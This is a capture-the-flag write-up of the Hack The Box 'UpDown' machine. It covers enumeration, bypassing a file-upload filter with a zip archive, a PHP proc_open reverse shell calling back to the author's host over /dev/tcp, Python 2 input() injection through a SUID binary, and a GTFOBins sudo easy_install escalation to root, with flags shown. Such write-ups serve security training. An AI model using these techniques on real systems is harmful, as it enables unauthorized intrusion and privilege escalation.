HTB / Linux

Hack The Box UpDown Writeup

May 13, 20248 min read
UpDown machine

As usual we start off with enumeration.

Nmap scan report for 10.10.11.177
Host is up, received reset ttl 63 (0.035s latency).
Scanned at 2024-05-10 12:30:12 CEST for 48s
Not shown: 65533 closed tcp ports (reset), 4 closed udp ports (port-unreach)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9e1f98d7c8ba61dbf149669d701702e7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDl7j17X/EWcm1MwzD7sKOFZyTUggWH1RRgwFbAK+B6R28x47OJjQW8VO4tCjTyvqKBzpgg7r98xNEykmvnMr0V9eUhg6zf04GfS/gudDF3Fbr3XnZOsrMmryChQdkMyZQK1HULbqRij1tdHaxbIGbG5CmIxbh69mMwBOlinQINCStytTvZq4btP5xSMd8pyzuZdqw3Z58ORSnJAorhBXAmVa9126OoLx7AzL0aO3lqgWjo/wwd3FmcYxAdOjKFbIRiZK/f7RJHty9P2WhhmZ6mZBSTAvIJ36Kb4Z0NuZ+ztfZCCDEw3z3bVXSVR/cp0Z0186gkZv8w8cp/ZHbtJB/nofzEBEeIK8gZqeFc/hwrySA6yBbSg0FYmXSvUuKgtjTgbZvgog66h+98XUgXheX1YPDcnUU66zcZbGsSM1aw1sMqB1vHhd2LGeY8UeQ1pr+lppDwMgce8DO141tj+ozjJouy19Tkc9BB46FNJ43Jl58CbLPdHUcWeMbjwauMrw0=
|   256 c21cfe1152e3d7e5f759186b68453f62 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKMJ3/md06ho+1RKACqh2T8urLkt1ST6yJ9EXEkuJh0UI/zFcIffzUOeiD2ZHphWyvRDIqm7ikVvNFmigSBUpXI=
|   256 5f6e12670a66e8e2b761bec4143ad38e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL1VZrZbtNuK2LKeBBzfz0gywG4oYxgPl+s5QENjani1
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=5/10%OT=22%CT=1%CU=53%PV=Y%DS=2%DC=T%G=Y%TM=663DF764%P
OS:=aarch64-unknown-linux-gnu)SEQ(SP=107%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53C
OS:ST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)

Uptime guess: 38.430 days (since Tue Apr  2 02:11:14 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap could reveal that we are running 2 ports 22 and 80. We can go ahead and enumerate services running on port 80. Pasted

I poked around trying numerous attempts but all to no avail.

Pasted image

The next step is to inspect the files in the folder we just dumped. If we're lucky we shall find something useful:

┌──(mrinspector㉿kali)-[~/HTB/UpDown]
└─$ ls
admin.php  changelog.txt  checker.php  index.php  stylesheet.css  updown

The interesting file that caught the eye was the checker.php


if(DIRECTACCESS){
        die("Access Denied");
}
?>
<!DOCTYPE html>
<html>

  <head>
    <meta charset='utf-8' />
    <meta http-equiv="X-UA-Compatible" content="chrome=1" />
    <link rel="stylesheet" type="text/css" media="screen" href="stylesheet.css">
    <title>Is my Website up ? (beta version)</title>
  </head>

  <body>

    <div id="header_wrap" class="outer">
        <header class="inner">
          <h1 id="project_title">Welcome,<br> Is My Website UP ?</h1>
          <h2 id="project_tagline">In this version you are able to scan a list of websites !</h2>
        </header>
    </div>

    <div id="main_content_wrap" class="outer">
      <section id="main_content" class="inner">
        <form method="post" enctype="multipart/form-data">
                            <label>List of websites to check:</label><br><br>
                                <input type="file" name="file" size="50">
                                <input name="check" type="submit" value="Check">
                </form>

<?php

function isitup($url){
        $ch=curl_init();
        curl_setopt($ch, CURLOPT_URL, trim($url));
        curl_setopt($ch, CURLOPT_USERAGENT, "siteisup.htb beta");
        curl_setopt($ch, CURLOPT_HEADER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        $f = curl_exec($ch);
        $header = curl_getinfo($ch);
        if($f AND $header['http_code'] == 200){
                return array(true,$f);
        }else{
                return false;
        }
    curl_close($ch);
}

if($_POST['check']){
  
        # File size must be less than 10kb.
        if ($_FILES['file']['size'] > 10000) {
        die("File too large!");
    }
        $file = $_FILES['file']['name'];

        # Check if extension is allowed.
        $ext = getExtension($file);
        if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
                die("Extension not allowed!");
        }
  
        # Create directory to upload our file.
        $dir = "uploads/".md5(time())."/";
        if(!is_dir($dir)){
        mkdir($dir, 0770, true);
    }
  
  # Upload the file.
        $final_path = $dir.$file;
        move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");

  # Read the uploaded file.
        $websites = explode("\n",file_get_contents($final_path));

        foreach($websites as $site){
                $site=trim($site);
                if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
                        $check=isitup($site);
                        if($check){
                                echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
                        }else{
                                echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
                        }
                }else{
                        echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
                }
        }

  # Delete the uploaded file.
        @unlink($final_path);
}

function getExtension($file) {
        $extension = strrpos($file,".");
        return ($extension===false) ? "" : substr($file,$extension+1);
}
?>
      </section>
    </div>

    <div id="footer_wrap" class="outer">
      <footer class="inner">
        <p class="copyright">siteisup.htb (beta)</p><br>
        <a class="changelog" href="changelog.txt">changelog.txt</a><br>
      </footer>
    </div>

  </body>
</html>

I found an interesting header. We can use burpsuite to check if it exists and from I could tell from the git log we saw in the comments where an admin panel was built and running on vhost.

Pasted image

I tested loading up the domain dev.updown.htb but i was facing complications due an incorrect dns configuration. The correct dns was supposed to be siteisup from the very beginning. After fixing it we got a 403 Forbidden page.

image From the previous header we can use Burpsuite to give a different a header and see how it reacts

alt

Modifying gave us a page using burpsuite

alt Next thing was to get a way to have our payload get executed. But looking at checker code we are only allowed to upload certain files and .php is not one of them. So let us look in possibilities. I created a test.php file that i will zip in .arch format and upload it to see what the server says.

┌──(mrinspector㉿kali)-[~/HTB/UpDown]
└─$ echo "<?php phpinfo(); ?>" >> test.php                                                                                               
┌──(mrinspector㉿kali)-[~/HTB/UpDown]
└─$ zip test.arch test.php
  adding: test.php (stored 0%)

alt

alt It took multiple tries, but we ended up getting our php info page and naturally we want to look for php disabled functions. We can check for enabled functions that we can work with. There is a tool available heret o help us achieve this. alt

On running the script we see functions that can be used.

image After doing some googling. I found a way to we could have a reverse shell using proc_open.

$shell = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.86/4444 0>&1'";
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

In this peace of code we can create our $shell variable in which we shall pass in our shell code. I had a hard time executing it like that until i made it into a one liner that is when i got a reverse shell using the traversal trick.

alt

Privilege Escalation

Snooping around in the var folders gave us nothing. I then searched the developer home for any clues and in the dev folder we had an SEUID and a python script.

www-data@updown:/home/developer$ ls -asl dev/
total 32
 4 drwxr-x--- 2 developer www-data   4096 Jun 22  2022 .
 4 drwxr-xr-x 6 developer developer  4096 Aug 30  2022 ..
20 -rwsr-x--- 1 developer www-data  16928 Jun 22  2022 siteisup
 4 -rwxr-x--- 1 developer www-data    154 Jun 22  2022 siteisup_test.py

The fact that we have SUID on the executable means it will run as the user who owns it in this case developer.

www-data@updown:/home/developer/dev$ cat siteisup_test.py 
import requests

url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
        print "Website is up"
else:

Looking at the code we can tell two things it is python2 and the input function is prone to code injection. We can test this by:

www-data@updown:/home/developer$ python dev/siteisup_test.py 
Enter URL here:__import__('os').system('id')
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Traceback (most recent call last):

And running this on the executable with set UID we get a different result where uid is developer. We shall call the bash from the developer user by inputing this line of:

__import__('os').system('bash')

And boom:

www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:__import__('os').system('bash')
developer@updown:/home/developer/dev$ 

We could not grab the user flag since we were only the user id but not in the developer group.The next step was to login over ssh. I had trouble with my kali box connecting and ended up using my Mac for this.

➜  ~ ssh -i key.updown developer@10.10.11.177
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-122-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon May 13 15:05:54 UTC 2024

  System load:           0.0
  Usage of /:            49.9% of 2.84GB
  Memory usage:          15%
  Swap usage:            0%
  Processes:             218
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.177
  IPv6 address for eth0: dead:beef::250:56ff:feb9:709b


8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon May 13 14:53:53 2024 from 10.10.14.86

developer@updown:~$ id
uid=1002(developer) gid=1002(developer) groups=1002(developer)

developer@updown:~$ cat user.txt
822c54a*************************

Now that we have the user flag it was time to go ahead and escalate our privileges.

developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User developer may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/local/bin/easy_install
developer@updown:~$

We can run a script with sudo.

developer@updown:~$ cat /usr/local/bin/easy_install
#!/usr/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from setuptools.command.easy_install import main
if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
    sys.exit(main())

Taking a look at GTFOBINS we found an execution code we could run to have root privileges:

developer@updown:~$ TF=$(mktemp -d)
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:~$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.5Aa29tMhhL
Writing /tmp/tmp.5Aa29tMhhL/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.5Aa29tMhhL/egg-dist-tmp-5qk3wp
# cd /root
# cat root.txt
603ac0518a6b762fa5d7f21cc8cc1793
UpDownHack the boxWriteupBlog